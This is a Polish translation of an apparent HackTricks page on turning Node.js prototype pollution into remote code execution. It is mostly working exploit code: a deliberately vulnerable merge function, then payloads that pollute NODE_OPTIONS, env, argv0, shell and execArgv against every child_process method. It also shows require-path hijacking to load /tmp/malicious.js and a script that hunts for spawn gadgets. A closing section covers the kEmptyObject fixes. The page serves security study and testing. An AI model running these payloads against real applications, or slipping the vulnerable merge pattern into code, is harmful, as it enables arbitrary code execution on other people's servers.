Dziel się sztuczkami hackingowymi, przesyłając PR-y doHackTricks i HackTricks Cloud repozytoriów na githubie.
Wrażliwy kod
Wyobraź sobie prawdziwy JS używający kodu podobnego do poniższego:
const { execSync,fork } =require('child_process');functionisObject(obj) {console.log(typeof obj);returntypeof obj ==='function'||typeof obj ==='object';}// Function vulnerable to prototype pollutionfunctionmerge(target, source) {for (let key in source) {if (isObject(target[key]) &&isObject(source[key])) {merge(target[key], source[key]);} else {target[key] = source[key];}}return target;}functionclone(target) {returnmerge({}, target);}// Run prototype pollution with user input// Check in the next sections what payload put here to execute arbitrary codeclone(USERINPUT);// Spawn process, this will call the gadget that poputales env variables// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`var proc =fork('a_file.js');
PP2RCE za pomocą zmiennych środowiskowych
PP2RCE oznacza Zanieczyszczenie prototypu do RCE (Zdalne Wykonanie Kodu).
Zgodnie z tym opisem, gdy proces jest uruchamiany za pomocą jakiejś metody z child_process (takiej jak fork lub spawn lub inne), wywołuje metodę normalizeSpawnArguments, która jest gadżetem zanieczyszczenia prototypu do tworzenia nowych zmiennych środowiskowych:
Sprawdź ten kod, możesz zobaczyć, że możliwe jest zatrucie envPairs po prostu przez zanieczyszczenieatrybutu .env.
Zatrucie __proto__
Zauważ, że z powodu działania funkcji normalizeSpawnArguments z biblioteki child_process w node, gdy coś jest wywoływane w celu ustawienia nowej zmiennej env dla procesu, wystarczy zanieczyścić cokolwiek.
Na przykład, jeśli zrobisz __proto__.avar="valuevar", proces zostanie uruchomiony z zmienną o nazwie avar z wartością valuevar.
Jednak, aby zmienna env była pierwsza, musisz zanieczyścićatrybut .env i (tylko w niektórych metodach) ta zmienna będzie pierwsza (pozwalając na atak).
Dlatego NODE_OPTIONSnie znajduje się w .env w następującym ataku.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}b.__proto__.NODE_OPTIONS="--require /proc/self/environ"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Zatrucie constructor.prototype
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS="--require /proc/self/environ"proc =fork('a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec2
PP2RCE za pomocą zmiennych środowiskowych + linii poleceń
Podobny ładunek do poprzedniego z pewnymi zmianami został zaproponowany w tym artykule. Główne różnice to:
Zamiast przechowywać ładunek nodejs w pliku /proc/self/environ, przechowuje go w argv0 pliku /proc/self/cmdline.
Następnie, zamiast wymagać za pomocą NODE_OPTIONS pliku /proc/self/environ, wymaga /proc/self/cmdline.
const { execSync,fork } =require('child_process');// Manual Pollutionb = {}b.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"b.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"// Trigger gadgetvar proc =fork('./a_file.js');// This should create the file /tmp/pp2rec2// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')
clone(USERINPUT);var proc =fork('a_file.js');// This should create the file /tmp/pp2rec
Interakcja z DNS
Używając poniższych ładunków, możliwe jest nadużycie zmiennej środowiskowej NODE_OPTIONS, o której rozmawialiśmy wcześniej, i sprawdzenie, czy zadziałała, poprzez interakcję z DNS:
W tej sekcji przeanalizujemy każdą funkcję z child_process, aby wykonać kod i zobaczyć, czy możemy użyć jakiejkolwiek techniki, aby wymusić tę funkcję do wykonania kodu:
exec exploitation
// environ trick - not working// It's not possible to pollute the .env attr to create a first env var// because options.env is null (not undefined)// cmdline trick - working with small variation// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =exec('something');// stdin trick - not working// Not using stdin// Windows// Working after kEmptyObject (fix)const { exec } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =exec('something');
execFile eksploatacja
```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');
// stdin trick - not working // Not using stdin
// Windows - not working
Aby **`execFile`** działało, **MUSI** uruchomić node, aby NODE\_OPTIONS mogły działać.\
Jeśli **nie** uruchamia **node**, musisz znaleźć sposób, aby **zmienić wykonanie** czegokolwiek, co jest uruchamiane **za pomocą zmiennych środowiskowych** i je ustawić.
**Inne** techniki **działają** bez tego wymogu, ponieważ **możliwe jest modyfikowanie** **tego, co jest wykonywane** za pomocą zanieczyszczenia prototypu. (W tym przypadku, nawet jeśli możesz zanieczyścić `.shell`, nie zanieczyścisz tego, co jest wykonywane).
</details>
<details>
<summary><code>fork</code> exploitation</summary>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');
// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn eksploatacja
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - not working// Not using stdin// Windows// NOT working after require(fix) without optionsconst { spawn } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawn('something');//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync eksploatacja
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execFileSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execFileSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execFileSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execFileSync-stdin}\n'var proc =execFileSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"p.__proto__.argv0 ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
execSync eksploatacja
// environ trick - working with small variation (shell and argv0)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of ndoep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =execSync('something');// cmdline trick - working with small variation (shell)// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =execSync('something');// stdin trick - working// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/execSync-stdin}\n'var proc =execSync('something');// Windows// Working after kEmptyObject (fix)const { execSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =execSync('something');
spawnSync eksploatacja
// environ trick - working with small variation (shell and argv0)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}// If in windows or mac you need to change the following params to the path of nodep.__proto__.argv0 ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS="--require /proc/self/environ"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// cmdline trick - working with small variation (shell)// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="/proc/self/exe"//You need to make sure the node executable is executedp.__proto__.argv0 ="console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"p.__proto__.NODE_OPTIONS="--require /proc/self/cmdline"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// stdin trick - working// NOT working after kEmptyObject (fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.argv0 ="/usr/bin/vim"p.__proto__.shell ="/usr/bin/vim"p.__proto__.input =':!{touch /tmp/spawnSync-stdin}\n'var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)// Windows// NOT working after require(fix) without optionsconst { spawnSync } =require('child_process');p = {}p.__proto__.shell ="\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"var proc =spawnSync('something');//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Wymuszanie Spawn
W poprzednich przykładach zobaczyłeś, jak wywołać gadżet, funkcjonalność, która wywołuje spawn musi być obecna (wszystkie metody child_process używane do wykonania czegoś ją wywołują). W poprzednim przykładzie było to częścią kodu, ale co jeśli kod nie wywołuje tego.
Kontrolowanie ścieżki pliku require
W tym innym opisie użytkownik może kontrolować ścieżkę pliku, w którym zostanie wykonane require. W tym scenariuszu atakujący musi tylko znaleźć plik .js w systemie, który wykona metodę spawn po zaimportowaniu.
Niektóre przykłady powszechnych plików wywołujących funkcję spawn po zaimportowaniu to:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
Znajdź więcej plików poniżej
Następujący prosty skrypt będzie szukał wywołań z child_processbez żadnego wypełnienia (aby uniknąć pokazywania wywołań wewnątrz funkcji):
find/-name"*.js"-typef-execgrep-l"child_process"{} \; 2>/dev/null|whilereadfile_path; dogrep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Interesujące pliki znalezione przez poprzedni skrypt
node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });
Ustawianie ścieżki pliku require za pomocą zanieczyszczenia prototypu
Poprzednia technika wymaga, aby użytkownik kontrolował ścieżkę pliku, który ma być załadowany. Ale to nie zawsze jest prawdą.
Jednak, jeśli kod ma wykonać require po zanieczyszczeniu prototypu, nawet jeśli nie kontrolujesz ścieżki, która ma być wymagana, możesz wymusić inną, nadużywając zanieczyszczenia prototypu. Więc nawet jeśli linia kodu wygląda jak require("./a_file.js") lub require("bytes"), to załaduje pakiet, który zanieczyściłeś.
Dlatego, jeśli require jest wykonywane po twoim zanieczyszczeniu prototypu i nie ma funkcji spawn, to jest to atak:
Znajdź plik .js w systemie, który po załadowaniuwykona coś używając child_process
Jeśli możesz przesyłać pliki na platformę, którą atakujesz, możesz przesłać taki plik
Zanieczyść ścieżki, aby wymusić załadowanie pliku .js, który wykona coś z child_process
Zanieczyść environ/cmdline, aby wykonać dowolny kod, gdy funkcja wykonania child_process jest wywoływana (zobacz początkowe techniki)
Absolutny require
Jeśli wykonany require jest absolutny (require("bytes")) i pakiet nie zawiera main w pliku package.json, możesz zanieczyścić atrybut main i sprawić, aby require wykonał inny plik.
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main ="/tmp/malicious.js"// Trigger gadgetvar proc =require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')
clone(USERINPUT);var proc =require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork("anything");
Relative require - 1
Jeśli ścieżka względna jest ładowana zamiast ścieżki bezwzględnej, możesz sprawić, że node załaduje inną ścieżkę:
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.exports = { ".":"./malicious.js" }b.__proto__["1"] ="/tmp"// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Relative require - 2
// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".":"./malicious.js" }b.__proto__.path ="/tmp"b.__proto__.name ="./relative_path.js"//This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')
clone(USERINPUT);var proc =require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } =require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');
Relative require - 3
Podobnie jak w poprzednim przypadku, to zostało znalezione w tym artykule.
W artykule https://arxiv.org/pdf/2207.11171.pdf wskazano również, że kontrola contextExtensions z niektórych metod biblioteki vm może być użyta jako gadget.
Jednak, podobnie jak poprzednie metody child_process, zostały one naprawione w najnowszych wersjach.
Fixes & Unexpected protections
Proszę zauważyć, że zanieczyszczenie prototypu działa, jeśli atrybut obiektu, do którego się odwołujemy, jest niezdefiniowany. Jeśli w kodzie ten atrybut jest ustawiony na wartość, nie będziesz w stanie go nadpisać.
W czerwcu 2022 z tego commita zmienna options zamiast {} to kEmptyObject. Co zapobiega zanieczyszczeniu prototypu wpływającemu na atrybutyoptions w celu uzyskania RCE.
Przynajmniej od v18.4.0 ta ochrona została wdrożona, a zatem eksploityspawn i spawnSync wpływające na metody już nie działają (jeśli nie używane są options!).
W tym commiciezanieczyszczenie prototypucontextExtensions z biblioteki vm zostało również częściowo naprawione, ustawiając opcje na kEmptyObject zamiast {}.